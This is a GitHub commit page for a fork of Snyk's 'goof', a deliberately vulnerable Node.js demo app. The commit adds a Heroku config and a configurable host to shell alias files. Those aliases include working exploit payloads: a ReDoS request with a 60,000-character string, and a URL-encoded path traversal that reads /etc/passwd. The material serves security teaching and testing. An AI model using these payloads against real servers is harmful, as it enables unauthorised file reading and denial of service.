forked from snyk-labs/nodejs-goof
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #24 from guypod/master
chore: add heroku file, configurable goof host
- Loading branch information
Showing
4 changed files
with
52 additions
and
15 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
{ | ||
"name": "goof", | ||
"scripts": { | ||
}, | ||
"env": { | ||
"MONGOLAB_URI": { | ||
"required": true | ||
} | ||
}, | ||
"formation": { | ||
"web": { | ||
"quantity": 1 | ||
} | ||
}, | ||
"addons": [ | ||
"mongolab" | ||
], | ||
"buildpacks": [ | ||
{ | ||
"url": "heroku/nodejs" | ||
} | ||
] | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,8 +1,13 @@ | ||
# Working via curl | ||
alias ms1="echo 'content=Call mom in 20 minutes' | http --form http://localhost:3001/create -v" | ||
|
||
if [ -z "$GOOF_HOST" ]; then | ||
export GOOF_HOST=http://localhost:3001 | ||
fi | ||
|
||
alias ms1="echo 'content=Call mom in 20 minutes' | http --form $GOOF_HOST/create -v" | ||
|
||
# Works with long string that matches | ||
alias ms2="echo 'content=Buy milk in '\`printf "%.0s5" {1..60000}\`' minutes' | http --form http://localhost:3001/create -v" | ||
alias ms2="echo 'content=Buy milk in '\`printf "%.0s5" {1..60000}\`' minutes' | http --form $GOOF_HOST/create -v" | ||
|
||
# Hangs with long string that doesn't match | ||
alias ms3="echo 'content=Buy milk in '\`printf "%.0s5" {1..60000}\`' minutea' | http --form http://localhost:3001/create -v" | ||
alias ms3="echo 'content=Buy milk in '\`printf "%.0s5" {1..60000}\`' minutea' | http --form $GOOF_HOST/create -v" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,14 +1,19 @@ | ||
# Works as advertised | ||
alias st1="curl http://localhost:3001/public/about.html" | ||
|
||
if [ -z "$GOOF_HOST" ]; then | ||
export GOOF_HOST=http://localhost:3001 | ||
fi | ||
|
||
alias st1="curl $GOOF_HOST/public/about.html" | ||
|
||
# Directory listing (not necessary) | ||
alias st2="curl http://localhost:3001/public/" | ||
alias st2="curl $GOOF_HOST/public/" | ||
|
||
# Failed ../ | ||
alias st3="curl http://localhost:3001/public/../../../" | ||
alias st3="curl $GOOF_HOST/public/../../../" | ||
|
||
# Exploit start | ||
alias st4="curl http://localhost:3001/public/%2e%2e/%2e%2e/%2e%2e/" | ||
alias st4="curl $GOOF_HOST/public/%2e%2e/%2e%2e/%2e%2e/" | ||
|
||
# Exploit full | ||
alias st5="curl http://localhost:3001/public/%2e%2e/%2e%2e/%2E%2E/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | ||
alias st5="curl $GOOF_HOST/public/%2e%2e/%2e%2e/%2E%2E/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" |